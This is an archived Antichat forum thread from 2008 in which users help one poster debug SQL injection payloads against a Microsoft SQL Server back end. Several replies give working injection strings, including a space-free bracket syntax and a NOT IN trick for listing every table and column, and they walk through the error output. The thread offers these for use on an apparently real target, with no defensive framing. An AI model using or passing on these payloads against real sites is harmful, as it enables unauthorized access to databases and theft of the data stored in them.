Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   mssql inj help (https://forum.antichat.xyz/showthread.php?t=65041)

-=megahertz=- 22.03.2008 13:58

mssql inj help
 
При таком запросе
"1+or+1=(SELECT+1+TOP+TABLE_NAME+FROM+INFORMATION_ SCHEMA.TABLES)--"
показывает
Incorrect syntax near the keyword 'TOP'


в чем моя ошибка?

~X3RiX~ 22.03.2008 14:10

юзай

http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/

guest3297 22.03.2008 14:12

"1+or+1=(SELECT+1+max(TABLE_NAME)+FROM+INFORMATION _SCHEMA.TABLES)--"

Scipio 22.03.2008 15:08

можно проинжектить запрос вобще без использования пробелов:
or(1=(select(max(table_name))from[information_schema].tables))

[ cash ] ;)

-=megahertz=- 22.03.2008 15:31

спасиб онотолий, помогло

-=megahertz=- 22.03.2008 16:24

снова я
1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments')))--
выводит
'syssegments'
делаю так
1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments','sy ssegments')))--
выводит
'syssegmentssyssegments'
в след запросе выводит уже
'syssegmentssyssegmentssyssegmentssyssegments'
и т.д.

ReVOLVeR 22.03.2008 16:39

TABLE_NAME+NOT+IN+('syssegments','sy ssegments','syssegmentssyssegments'...итд)))--
таким образом узнаёш все таблицы))
патом также только для столбцов и формеруеш запрос к бд))

-=megahertz=- 22.03.2008 16:42

я знаю что так надо
просто проблема в том что он просто делат так
syssegments
syssegmentssyssegments
syssegmentssyssegmentssyssegmentssyssegments
syssegmentssyssegmentssyssegmentssyssegmentssysseg mentssyssegments
...
так не должно быть

Scipio 22.03.2008 16:42

-=megahertz=-, покажи полностью, результат выполнения запроса

ReVOLVeR 22.03.2008 16:47

разграничь при помощи ';'


Время: 15:48